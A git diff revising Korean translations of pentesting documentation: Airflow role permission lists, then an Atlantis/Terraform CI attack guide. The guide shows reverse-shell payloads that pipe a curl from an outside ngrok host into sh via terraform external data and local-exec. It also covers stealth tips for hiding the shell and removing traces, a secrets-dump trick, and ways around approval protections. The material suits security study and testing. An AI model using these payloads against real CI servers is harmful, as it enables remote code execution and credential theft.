Website에서 읽을 수 있으며, Browse에서 메뉴 접근, DAG Dependencies에서 메뉴 접근, DAG Runs에서 메뉴 접근, Documentation에서 메뉴 접근, Docs에서 메뉴 접근, Jobs에서 메뉴 접근, Audit Logs에서 메뉴 접근, Plugins에서 메뉴 접근, SLA Misses에서 메뉴 접근, Task Instances에서 메뉴 접근, Task Instances에서 생성할 수 있으며, Task Instances에서 삭제할 수 있으며, Admin에서 메뉴 접근, Configurations에서 메뉴 접근, Connections에서 메뉴 접근, Pools에서 메뉴 접근, Variables에서 메뉴 접근, XComs에서 메뉴 접근, XComs에서 삭제할 수 있으며, Task Reschedules에서 읽을 수 있으며, Task Reschedules에서 메뉴 접근, Triggers에서 읽을 수 있으며, Triggers에서 메뉴 접근, Passwords에서 읽을 수 있으며, Passwords에서 편집할 수 있으며, List Users에서 메뉴 접근, Security에서 메뉴 접근, List Roles에서 메뉴 접근, User Stats Chart에서 읽을 수 있으며, User's Statistics에서 메뉴 접근, Base Permissions에서 메뉴 접근, View Menus에서 읽을 수 있으며, Views/Menus에서 메뉴 접근, Permission Views에서 읽을 수 있으며, Views/Menus에서 Permission에 대한 메뉴 접근, MenuApi에서 가져올 수 있으며, Providers에서 메뉴 접근, XComs에서 생성할 수 있습니다.]
+\[Connections에서 삭제 가능, Connections에서 읽기 가능, Connections에서 편집 가능, Connections에서 생성 가능, DAGs에서 읽기 가능, DAGs에서 편집 가능, DAGs에서 삭제 가능, DAG Runs에서 읽기 가능, Task Instances에서 읽기 가능, Task Instances에서 편집 가능, DAG Runs에서 삭제 가능, DAG Runs에서 생성 가능, DAG Runs에서 편집 가능, Audit Logs에서 읽기 가능, ImportError에서 읽기 가능, Pools에서 삭제 가능, Pools에서 읽기 가능, Pools에서 편집 가능, Pools에서 생성 가능, Providers에서 읽기 가능, Variables에서 삭제 가능, Variables에서 읽기 가능, Variables에서 편집 가능, Variables에서 생성 가능, XComs에서 읽기 가능, DAG Code에서 읽기 가능, Configurations에서 읽기 가능, Plugins에서 읽기 가능, Roles에서 읽기 가능, Permissions에서 읽기 가능, Roles에서 삭제 가능, Roles에서 편집 가능, Roles에서 생성 가능, Users에서 읽기 가능, Users에서 생성 가능, Users에서 편집 가능, Users에서 삭제 가능, DAG Dependencies에서 읽기 가능, Jobs에서 읽기 가능, My Password에서 읽기 가능, My Password에서 편집 가능, My Profile에서 읽기 가능, My Profile에서 편집 가능, SLA Misses에서 읽기 가능, Task Logs에서 읽기 가능, Website에서 읽기 가능, Browse 메뉴 접근, DAG Dependencies 메뉴 접근, DAG Runs 메뉴 접근, Documentation 메뉴 접근, Docs 메뉴 접근, Jobs 메뉴 접근, Audit Logs 메뉴 접근, Plugins 메뉴 접근, SLA Misses 메뉴 접근, Task Instances 메뉴 접근, Task Instances에서 생성 가능, Task Instances에서 삭제 가능, Admin 메뉴 접근, Configurations 메뉴 접근, Connections 메뉴 접근, Pools 메뉴 접근, Variables 메뉴 접근, XComs 메뉴 접근, XComs에서 삭제 가능, Task Reschedules에서 읽기 가능, Task Reschedules 메뉴 접근, Triggers에서 읽기 가능, Triggers 메뉴 접근, Passwords에서 읽기 가능, Passwords에서 편집 가능, List Users 메뉴 접근, Security 메뉴 접근, List Roles 메뉴 접근, User Stats Chart에서 읽기 가능, User's Statistics 메뉴 접근, Base Permissions 메뉴 접근, View Menus에서 읽기 가능, Views/Menus 메뉴 접근, Permission Views에서 읽기 가능, Views/Menus의 Permission 메뉴 접근, MenuApi에서 가져오기 가능, Providers 메뉴 접근, XComs에서 생성 가능]
- **Op**
-\[Connections에서 삭제할 수 있으며, Connections에서 읽을 수 있으며, Connections에서 편집할 수 있으며, Connections에서 생성할 수 있으며, DAGs에서 읽을 수 있으며, DAGs에서 편집할 수 있으며, DAGs에서 삭제할 수 있으며, DAG Runs에서 읽을 수 있으며, Task Instances에서 읽을 수 있으며, Task Instances에서 편집할 수 있으며, DAG Runs에서 삭제할 수 있으며, DAG Runs에서 생성할 수 있으며, DAG Runs에서 편집할 수 있으며, Audit Logs에서 읽을 수 있으며, ImportError에서 읽을 수 있으며, Pools에서 삭제할 수 있으며, Pools에서 읽을 수 있으며, Pools에서 편집할 수 있으며, Pools에서 생성할 수 있으며, Providers에서 읽을 수 있으며, Variables에서 삭제할 수 있으며, Variables에서 읽을 수 있으며, Variables에서 편집할 수 있으며, Variables에서 생성할 수 있으며, XComs에서 읽을 수 있으며, DAG Code에서 읽을 수 있으며, Configurations에서 읽을 수 있으며, Plugins에서 읽을 수 있으며, DAG Dependencies에서 읽을 수 있으며, Jobs에서 읽을 수 있으며, My Password에서 읽을 수 있으며, My Password에서 편집할 수 있으며, My Profile에서 읽을 수 있으며, My Profile에서 편집할 수 있으며, SLA Misses에서 읽을 수 있으며, Task Logs에서 읽을 수 있으며, Website에서 읽을 수 있으며, Browse에서 메뉴 접근, DAG Dependencies에서 메뉴 접근, DAG Runs에서 메뉴 접근, Documentation에서 메뉴 접근, Docs에서 메뉴 접근, Jobs에서 메뉴 접근, Audit Logs에서 메뉴 접근, Plugins에서 메뉴 접근, SLA Misses에서 메뉴 접근, Task Instances에서 메뉴 접근, Task Instances에서 생성할 수 있으며, Task Instances에서 삭제할 수 있으며, Admin에서 메뉴 접근, Configurations에서 메뉴 접근, Connections에서 메뉴 접근, Pools에서 메뉴 접근, Variables에서 메뉴 접근, XComs에서 메뉴 접근, XComs에서 삭제할 수 있습니다.]
+\[Connections에서 삭제 가능, Connections에서 읽기 가능, Connections에서 편집 가능, Connections에서 생성 가능, DAGs에서 읽기 가능, DAGs에서 편집 가능, DAGs에서 삭제 가능, DAG Runs에서 읽기 가능, Task Instances에서 읽기 가능, Task Instances에서 편집 가능, DAG Runs에서 삭제 가능, DAG Runs에서 생성 가능, DAG Runs에서 편집 가능, Audit Logs에서 읽기 가능, ImportError에서 읽기 가능, Pools에서 삭제 가능, Pools에서 읽기 가능, Pools에서 편집 가능, Pools에서 생성 가능, Providers에서 읽기 가능, Variables에서 삭제 가능, Variables에서 읽기 가능, Variables에서 편집 가능, Variables에서 생성 가능, XComs에서 읽기 가능, DAG Code에서 읽기 가능, Configurations에서 읽기 가능, Plugins에서 읽기 가능, DAG Dependencies에서 읽기 가능, Jobs에서 읽기 가능, My Password에서 읽기 가능, My Password에서 편집 가능, My Profile에서 읽기 가능, My Profile에서 편집 가능, SLA Misses에서 읽기 가능, Task Logs에서 읽기 가능, Website에서 읽기 가능, Browse 메뉴 접근, DAG Dependencies 메뉴 접근, DAG Runs 메뉴 접근, Documentation 메뉴 접근, Docs 메뉴 접근, Jobs 메뉴 접근, Audit Logs 메뉴 접근, Plugins 메뉴 접근, SLA Misses 메뉴 접근, Task Instances 메뉴 접근, Task Instances에서 생성 가능, Task Instances에서 삭제 가능, Admin 메뉴 접근, Configurations 메뉴 접근, Connections 메뉴 접근, Pools 메뉴 접근, Variables 메뉴 접근, XComs 메뉴 접근, XComs에서 삭제 가능]
- **User**
-\[DAGs에서 읽을 수 있으며, DAGs에서 편집할 수 있으며, DAGs에서 삭제할 수 있으며, DAG Runs에서 읽을 수 있으며, Task Instances에서 읽을 수 있으며, Task Instances에서 편집할 수 있으며, DAG Runs에서 삭제할 수 있으며, DAG Runs에서 생성할 수 있으며, DAG Runs에서 편집할 수 있으며, Audit Logs에서 읽을 수 있으며, ImportError에서 읽을 수 있으며, XComs에서 읽을 수 있으며, DAG Code에서 읽을 수 있으며, Plugins에서 읽을 수 있으며, DAG Dependencies에서 읽을 수 있으며, Jobs에서 읽을 수 있으며, My Password에서 읽을 수 있으며, My Password에서 편집할 수 있으며, My Profile에서 읽을 수 있으며, My Profile에서 편집할 수 있으며, SLA Misses에서 읽을 수 있으며, Task Logs에서 읽을 수 있으며, Website에서 읽을 수 있으며, Browse에서 메뉴 접근, DAG Dependencies에서 메뉴 접근, DAG Runs에서 메뉴 접근, Documentation에서 메뉴 접근, Docs에서 메뉴 접근, Jobs에서 메뉴 접근, Audit Logs에서 메뉴 접근, Plugins에서 메뉴 접근, SLA Misses에서 메뉴 접근, Task Instances에서 메뉴 접근, Task Instances에서 생성할 수 있으며, Task Instances에서 삭제할 수 있습니다.]
+\[DAGs에서 읽기 가능, DAGs에서 편집 가능, DAGs에서 삭제 가능, DAG Runs에서 읽기 가능, Task Instances에서 읽기 가능, Task Instances에서 편집 가능, DAG Runs에서 삭제 가능, DAG Runs에서 생성 가능, DAG Runs에서 편집 가능, Audit Logs에서 읽기 가능, ImportError에서 읽기 가능, XComs에서 읽기 가능, DAG Code에서 읽기 가능, Plugins에서 읽기 가능, DAG Dependencies에서 읽기 가능, Jobs에서 읽기 가능, My Password에서 읽기 가능, My Password에서 편집 가능, My Profile에서 읽기 가능, My Profile에서 편집 가능, SLA Misses에서 읽기 가능, Task Logs에서 읽기 가능, Website에서 읽기 가능, Browse 메뉴 접근, DAG Dependencies 메뉴 접근, DAG Runs 메뉴 접근, Documentation 메뉴 접근, Docs 메뉴 접근, Jobs 메뉴 접근, Audit Logs 메뉴 접근, Plugins 메뉴 접근, SLA Misses 메뉴 접근, Task Instances 메뉴 접근, Task Instances에서 생성 가능, Task Instances에서 삭제 가능]
- **Viewer**
-\[DAGs에서 읽을 수 있으며, DAG Runs에서 읽을 수 있으며, Task Instances에서 읽을 수 있으며, Audit Logs에서 읽을 수 있으며, ImportError에서 읽을 수 있으며, XComs에서 읽을 수 있으며, DAG Code에서 읽을 수 있으며, Plugins에서 읽을 수 있으며, DAG Dependencies에서 읽을 수 있으며, Jobs에서 읽을 수 있으며, My Password에서 읽을 수 있으며, My Password에서 편집할 수 있으며, My Profile에서 읽을 수 있으며, My Profile에서 편집할 수 있으며, SLA Misses에서 읽을 수 있으며, Task Logs에서 읽을 수 있으며, Website에서 읽을 수 있으며, Browse에서 메뉴 접근, DAG Dependencies에서 메뉴 접근, DAG Runs에서 메뉴 접근, Documentation에서 메뉴 접근, Docs에서 메뉴 접근, Jobs에서 메뉴 접근, Audit Logs에서 메뉴 접근, Plugins에서 메뉴 접근, SLA Misses에서 메뉴 접근, Task Instances에서 메뉴 접근]
+\[DAGs에서 읽기 가능, DAG Runs에서 읽기 가능, Task Instances에서 읽기 가능, Audit Logs에서 읽기 가능, ImportError에서 읽기 가능, XComs에서 읽기 가능, DAG Code에서 읽기 가능, Plugins에서 읽기 가능, DAG Dependencies에서 읽기 가능, Jobs에서 읽기 가능, My Password에서 읽기 가능, My Password에서 편집 가능, My Profile에서 읽기 가능, My Profile에서 편집 가능, SLA Misses에서 읽기 가능, Task Logs에서 읽기 가능, Website에서 읽기 가능, Browse 메뉴 접근, DAG Dependencies 메뉴 접근, DAG Runs 메뉴 접근, Documentation 메뉴 접근, Docs 메뉴 접근, Jobs 메뉴 접근, Audit Logs 메뉴 접근, Plugins 메뉴 접근, SLA Misses 메뉴 접근, Task Instances 메뉴 접근]
- **Public**
diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md
index 5a2f6a278..7aec57c65 100644
--- a/src/pentesting-ci-cd/atlantis-security.md
+++ b/src/pentesting-ci-cd/atlantis-security.md
@@ -21,18 +21,18 @@ Atlantis는 기본적으로 git 서버의 Pull Requests에서 terraform을 실
**Atlantis**는 **Github**, **Gitlab**, **Bitbucket** 및 **Azure DevOps**와 같은 여러 git 호스트를 지원합니다.\
그러나 이러한 플랫폼의 repo에 접근하고 작업을 수행하려면 **특권 접근 권한이 부여되어야** 합니다(최소한 쓰기 권한).\
-[**문서**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional)에서는 Atlantis 전용 사용자를 이러한 플랫폼에서 생성할 것을 권장하지만, 일부 사람들은 개인 계정을 사용할 수 있습니다.
+[**문서**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional)에서는 Atlantis 전용 사용자 생성을 권장하지만, 일부 사람들은 개인 계정을 사용할 수 있습니다.
> [!WARNING]
-> 어떤 경우든 공격자의 관점에서 **Atlantis 계정**은 매우 **흥미로운** **타겟**이 될 것입니다.
+> 어떤 경우든 공격자의 관점에서 **Atlantis 계정**은 **타겟으로 삼기 매우 흥미로운** 계정이 될 것입니다.
#### Webhooks
-Atlantis는 선택적으로 [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret)를 사용하여 Git 호스트에서 수신하는 **webhooks**가 **정당한** 것인지 확인합니다.
+Atlantis는 선택적으로 [**Webhook 비밀**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret)을 사용하여 Git 호스트에서 수신하는 **webhook**이 **정당한** 것인지 확인합니다.
-이를 확인하는 한 가지 방법은 **요청이 Git 호스트의 IP에서만 오도록 허용하는 것**이지만, 더 쉬운 방법은 Webhook Secret을 사용하는 것입니다.
+이를 확인하는 한 가지 방법은 **Git 호스트의 IP에서만 요청을 허용**하는 것이지만, 더 쉬운 방법은 Webhook Secret을 사용하는 것입니다.
-개인 github 또는 bitbucket 서버를 사용하지 않는 한, webhook 엔드포인트를 인터넷에 노출해야 합니다.
+개인 github 또는 bitbucket 서버를 사용하지 않는 한 webhook 엔드포인트를 인터넷에 노출해야 합니다.
> [!WARNING]
> Atlantis는 **webhooks를 노출**하여 git 서버가 정보를 보낼 수 있도록 합니다. 공격자의 관점에서 **메시지를 보낼 수 있는지** 아는 것이 흥미로울 것입니다.
@@ -43,14 +43,14 @@ Atlantis는 선택적으로 [**Webhook secrets**](https://www.runatlantis.io/doc
Atlantis는 서버 **Atlantis가 호스팅되는** 곳에서 `terraform plan` 및 `apply` 명령을 단순히 **실행하여** Terraform을 실행합니다. 로컬에서 Terraform을 실행할 때와 마찬가지로, Atlantis는 특정 공급자에 대한 자격 증명이 필요합니다.
-Atlantis에 특정 공급자에 대한 자격 증명을 [제공하는 방법](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info)은 다음과 같습니다:
+Atlantis에 특정 공급자에 대한 [자격 증명](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info)을 제공하는 방법은 다음과 같습니다:
-- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) 및 [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate)은 공급자 자격 증명에 대한 자체 메커니즘을 가지고 있습니다. 문서를 읽어보세요.
+- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) 및 [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate)에는 자격 증명에 대한 자체 메커니즘이 있습니다. 문서를 읽어보세요.
- 클라우드에서 Atlantis를 실행하는 경우, 많은 클라우드에서 클라우드 API 접근을 애플리케이션에 제공하는 방법이 있습니다. 예:
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (검색어: "EC2 Role")
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
-- 많은 사용자가 Atlantis가 실행되는 곳에 환경 변수를 설정합니다. 예: `AWS_ACCESS_KEY`.
-- 다른 사용자는 Atlantis가 실행되는 곳에 필요한 구성 파일을 생성합니다. 예: `~/.aws/credentials`.
+- 많은 사용자가 Atlantis가 실행되는 곳에 환경 변수를 설정합니다. 예: `AWS_ACCESS_KEY`
+- 다른 사용자는 Atlantis가 실행되는 곳에 필요한 구성 파일을 생성합니다. 예: `~/.aws/credentials`
- [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs)를 사용하여 공급자 자격 증명을 얻습니다.
> [!WARNING]
@@ -60,14 +60,14 @@ Atlantis에 특정 공급자에 대한 자격 증명을 [제공하는 방법](ht
기본적으로 Atlantis는 **localhost의 포트 4141에서 웹 페이지를 실행**합니다. 이 페이지는 atlantis apply를 활성화/비활성화하고 repo의 계획 상태를 확인하고 잠금을 해제할 수 있도록 합니다(수정은 허용하지 않으므로 그리 유용하지는 않습니다).
-인터넷에 노출되지 않을 가능성이 높지만, 기본적으로 **접근하기 위해 자격 증명이 필요하지 않은 것처럼 보입니다**(필요한 경우 `atlantis`:`atlantis`가 **기본** 자격 증명입니다).
+인터넷에 노출되지 않을 가능성이 높지만, 기본적으로 **접근하는 데 자격 증명이 필요하지 않은 것처럼 보입니다**(필요한 경우 `atlantis`:`atlantis`가 **기본** 자격 증명입니다).
### Server Configuration
`atlantis server`에 대한 구성은 명령줄 플래그, 환경 변수, 구성 파일 또는 이 세 가지의 조합을 통해 지정할 수 있습니다.
-- Atlantis 서버에서 지원하는 [**플래그 목록은 여기**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration)에서 확인할 수 있습니다.
-- [**구성 옵션을 환경 변수로 변환하는 방법은 여기**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)에서 확인할 수 있습니다.
+- Atlantis 서버에서 지원하는 [**플래그 목록**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration)을 확인할 수 있습니다.
+- [**구성 옵션을 환경 변수로 변환하는 방법**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)을 확인할 수 있습니다.
값은 **이 순서로 선택됩니다**:
@@ -89,7 +89,7 @@ Atlantis에 특정 공급자에 대한 자격 증명을 [제공하는 방법](ht
**PR Protections**
-Atlantis는 **PR**이 다른 사람에 의해 **`승인`**되기를 원하거나(브랜치 보호에 설정되지 않은 경우에도) **`병합 가능`**(브랜치 보호 통과)하기를 원할 수 있도록 표시할 수 있습니다 **apply를 실행하기 전에**. 보안 관점에서 두 옵션을 모두 설정하는 것이 권장됩니다.
+Atlantis는 **PR**이 다른 사람에 의해 **`승인`**되기를 원하거나(브랜치 보호에 설정되지 않은 경우에도) **`병합 가능`**(브랜치 보호 통과)하기를 원할 수 있도록 표시할 수 있습니다. 보안 관점에서 두 옵션을 모두 설정하는 것이 권장됩니다.
`allowed_overrides`가 True인 경우, 이러한 설정은 **`/atlantis.yml` 파일**에서 각 프로젝트에 대해 **덮어쓸 수 있습니다**.
@@ -97,15 +97,15 @@ Atlantis는 **PR**이 다른 사람에 의해 **`승인`**되기를 원하거나
repo 구성은 **워크플로우가 실행되기 전** [**이전**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) 및 [**후**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_)에 실행할 **스크립트**를 **지정할 수 있습니다**.
-repo `/atlantis.yml` 파일에서 이러한 스크립트를 **지정하는** 옵션은 없습니다.
+**repo `/atlantis.yml`** 파일에서 이러한 스크립트를 **지정할 수 있는** 옵션은 없습니다.
**Workflow**
-repo 구성(서버 측 구성)에서 [**새 기본 워크플로우를 지정할 수 있습니다**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) 또는 [**새 사용자 정의 워크플로우를 생성할 수 있습니다**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** 또한 **어떤 repo**가 생성된 **새** 워크플로우에 **접근할 수 있는지** **지정할 수 있습니다**.\
+repo 구성(서버 측 구성)에서 [**새 기본 워크플로우**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow)를 **지정하거나** [**새 사용자 정의 워크플로우**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**를 생성할 수 있습니다.** 또한 **어떤 repo**가 생성된 **새로운** 워크플로우에 **접근할 수 있는지** **지정할 수 있습니다**.\
그런 다음 각 repo의 **atlantis.yaml** 파일이 **사용할 워크플로우를 지정할 수 있도록** 허용할 수 있습니다.
> [!CAUTION]
-> [**서버 측 구성**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) 플래그 `allow_custom_workflows`가 **True**로 설정되면, 각 repo의 **`atlantis.yaml`** 파일에서 워크플로우를 **지정할 수 있습니다**. 또한 **`allowed_overrides`**가 **사용될 워크플로우를 덮어쓰도록** **`workflow`**를 지정해야 할 수도 있습니다.\
+> [**서버 측 구성**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) 플래그 `allow_custom_workflows`가 **True**로 설정되면, 각 repo의 **`atlantis.yaml`** 파일에서 워크플로우를 **지정할 수 있습니다**. 또한 **`allowed_overrides`**가 **사용될 워크플로우를 덮어쓰도록** 지정해야 할 수도 있습니다.\
> 이는 기본적으로 **해당 repo에 접근할 수 있는 모든 사용자에게 Atlantis 서버에서 RCE를 제공**하게 됩니다.
>
> ```yaml
@@ -129,11 +129,11 @@ repo 구성(서버 측 구성)에서 [**새 기본 워크플로우를 지정할
Atlantis는 **서버 측** [**conftest**](https://www.conftest.dev/) **정책**을 계획 출력에 대해 실행하는 것을 지원합니다. 이 단계를 사용하는 일반적인 사용 사례는 다음과 같습니다:
- 모듈 목록 사용 거부
-- 리소스 생성 시 속성 주장
+- 생성 시 리소스의 속성 주장
- 의도하지 않은 리소스 삭제 포착
- 보안 위험 방지(예: 보안 포트를 공개에 노출)
-구성 방법은 [**문서에서**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) 확인할 수 있습니다.
+구성 방법은 [**문서**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works)에서 확인할 수 있습니다.
### Atlantis Commands
@@ -160,7 +160,7 @@ atlantis apply [options] -- [terraform apply flags]
## --verbose
## You can also add extra terraform options
```
-### Attacks
+### 공격
> [!WARNING]
> 만약 공격 중에 이 **오류**를 발견하면: `Error: Error acquiring the state lock`
@@ -170,11 +170,11 @@ atlantis apply [options] -- [terraform apply flags]
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
```
-#### Atlantis plan RCE - 새로운 PR에서의 구성 수정
+#### Atlantis plan RCE - 새로운 PR에서 구성 수정
-저장소에 대한 쓰기 권한이 있으면 새로운 브랜치를 생성하고 PR을 생성할 수 있습니다. **`atlantis plan`**을 **실행할 수 있다면** (또는 자동으로 실행될 수도 있습니다) **Atlantis 서버 내에서 RCE를 수행할 수 있습니다**.
+저장소에 대한 쓰기 권한이 있으면 새로운 브랜치를 생성하고 PR을 생성할 수 있습니다. **`atlantis plan`**을 **실행할 수 있다면 (또는 자동으로 실행될 수도 있습니다)** **Atlantis 서버 내에서 RCE를 수행할 수 있습니다**.
-[**Atlantis가 외부 데이터 소스를 로드하도록**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) 할 수 있습니다. 다음과 같은 페이로드를 `main.tf` 파일에 넣기만 하면 됩니다:
+다음과 같이 [**Atlantis가 외부 데이터 소스를 로드하도록**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) 할 수 있습니다. `main.tf` 파일에 다음과 같은 페이로드를 넣으세요:
```json
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
@@ -182,7 +182,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
```
**은밀한 공격**
-이 공격을 **은밀한 방법**으로 수행할 수 있습니다. 다음 제안을 따르세요:
+이 공격을 **더 은밀한 방법**으로 수행할 수 있습니다. 다음 제안을 따르세요:
- terraform 파일에 rev shell을 직접 추가하는 대신, rev shell이 포함된 **외부 리소스**를 **로드**할 수 있습니다:
```javascript
@@ -190,29 +190,29 @@ module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
-You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
+[https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)에서 rev shell 코드를 찾을 수 있습니다.
- 외부 리소스에서 **ref** 기능을 사용하여 **레포의 브랜치에 있는 terraform rev shell 코드를 숨기세요**, 예를 들어: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
-- **PR을 master에 생성하는 대신** Atlantis를 트리거하기 위해 **2개의 브랜치**(test1 및 test2)를 생성하고 **하나에서 다른 쪽으로 PR을 생성하세요**. 공격이 완료되면 **PR과 브랜치를 제거하세요**.
+- **마스터에 PR을 생성하는 대신** **2개의 브랜치**(test1 및 test2)를 생성하고 **하나에서 다른 쪽으로 PR을 생성하세요**. 공격이 완료되면 **PR과 브랜치를 제거하세요**.
-#### Atlantis plan Secrets Dump
+#### Atlantis 계획 비밀 덤프
-다음과 같이 terraform 파일에 입력하여 `atlantis plan` (`terraform plan`)을 실행하여 **terraform에서 사용되는 비밀을 덤프할 수 있습니다**:
+`atlantis plan` (`terraform plan`)을 실행하여 **terraform에서 사용되는 비밀을 덤프할 수 있습니다**. terraform 파일에 다음과 같은 내용을 넣으세요:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
}
```
-#### Atlantis apply RCE - 새로운 PR에서의 구성 수정
+#### Atlantis apply RCE - 새로운 PR에서 구성 수정
-저장소에 대한 쓰기 권한이 있으면 새로운 브랜치를 생성하고 PR을 생성할 수 있습니다. **`atlantis apply`를 실행할 수 있다면 Atlantis 서버 내에서 RCE를 수행할 수 있습니다.**
+저장소에 대한 쓰기 권한이 있으면 새로운 브랜치를 생성하고 PR을 생성할 수 있습니다. **`atlantis apply`를 실행할 수 있다면 Atlantis 서버 내에서 RCE를 수행할 수 있습니다**.
그러나 일반적으로 몇 가지 보호 장치를 우회해야 합니다:
-- **Mergeable**: 이 보호 장치가 Atlantis에 설정되어 있으면 **PR이 mergeable일 때만 `atlantis apply`를 실행할 수 있습니다** (즉, 브랜치 보호를 우회해야 함을 의미합니다).
-- 잠재적인 [**브랜치 보호 우회**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) 확인
-- **Approved**: 이 보호 장치가 Atlantis에 설정되어 있으면 **다른 사용자가 PR을 승인해야 `atlantis apply`를 실행할 수 있습니다.**
-- 기본적으로 [**Gitbot 토큰을 사용하여 이 보호 장치를 우회할 수 있습니다**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
+- **Mergeable**: 이 보호 장치가 Atlantis에 설정되어 있으면 **PR이 mergeable할 때만 `atlantis apply`를 실행할 수 있습니다** (즉, 브랜치 보호를 우회해야 함을 의미합니다).
+- 잠재적인 [**브랜치 보호 우회**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)를 확인하세요.
+- **Approved**: 이 보호 장치가 Atlantis에 설정되어 있으면 **다른 사용자가 PR을 승인해야 `atlantis apply`를 실행할 수 있습니다**.
+- 기본적으로 [**Gitbot 토큰을 사용하여 이 보호 장치를 우회할 수 있습니다**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md).
악의적인 Terraform 파일에서 **`terraform apply`를 실행하는 것**은 [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
다음과 같은 페이로드가 `main.tf` 파일에 포함되도록 해야 합니다:
@@ -233,9 +233,9 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
```
이 공격을 **더 은밀한 방법**으로 수행하기 위해 **이전 기술의 제안**을 따르십시오.
-#### Terraform Param Injection
+#### Terraform 파라미터 주입
-`atlantis plan` 또는 `atlantis apply`를 실행할 때 terraform이 실행되며, atlantis에서 다음과 같은 주석을 통해 terraform에 명령을 전달할 수 있습니다:
+`atlantis plan` 또는 `atlantis apply`를 실행할 때 terraform이 내부에서 실행되며, atlantis에서 다음과 같은 주석을 통해 terraform에 명령을 전달할 수 있습니다:
```bash
atlantis plan --
atlantis plan -- -h #Get terraform plan help
@@ -243,17 +243,17 @@ atlantis plan -- -h #Get terraform plan help
atlantis apply --
atlantis apply -- -h #Get terraform apply help
```
-Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
+환경 변수를 전달할 수 있으며, 이는 일부 보호를 우회하는 데 도움이 될 수 있습니다. [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)에서 terraform env vars를 확인하세요.
-#### Custom Workflow
+#### 사용자 정의 워크플로우
-Running **악의적인 사용자 정의 빌드 명령** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
-This possibility was mentioned in a previous section:
+`atlantis.yaml` 파일에 지정된 **악의적인 사용자 정의 빌드 명령**을 실행합니다. Atlantis는 `master`가 아닌 풀 요청 브랜치의 `atlantis.yaml` 파일을 사용합니다.\
+이 가능성은 이전 섹션에서 언급되었습니다:
> [!CAUTION]
-> If the [**서버 측 구성**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **지정** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
+> [**서버 측 구성**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) 플래그 `allow_custom_workflows`가 **True**로 설정되면, 각 리포의 **`atlantis.yaml`** 파일에 워크플로우를 **지정**할 수 있습니다. 또한 **`allowed_overrides`**가 **워크플로우를 우회**하기 위해 **`workflow`**를 지정해야 할 수도 있습니다.
>
-> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
+> 이는 기본적으로 **해당 리포에 접근할 수 있는 모든 사용자에게 Atlantis 서버에서 RCE를 제공**합니다.
>
> ```yaml
> # atlantis.yaml
@@ -272,9 +272,9 @@ This possibility was mentioned in a previous section:
> - run: my custom apply command
> ```
-#### Bypass plan/apply protections
+#### 계획/적용 보호 우회
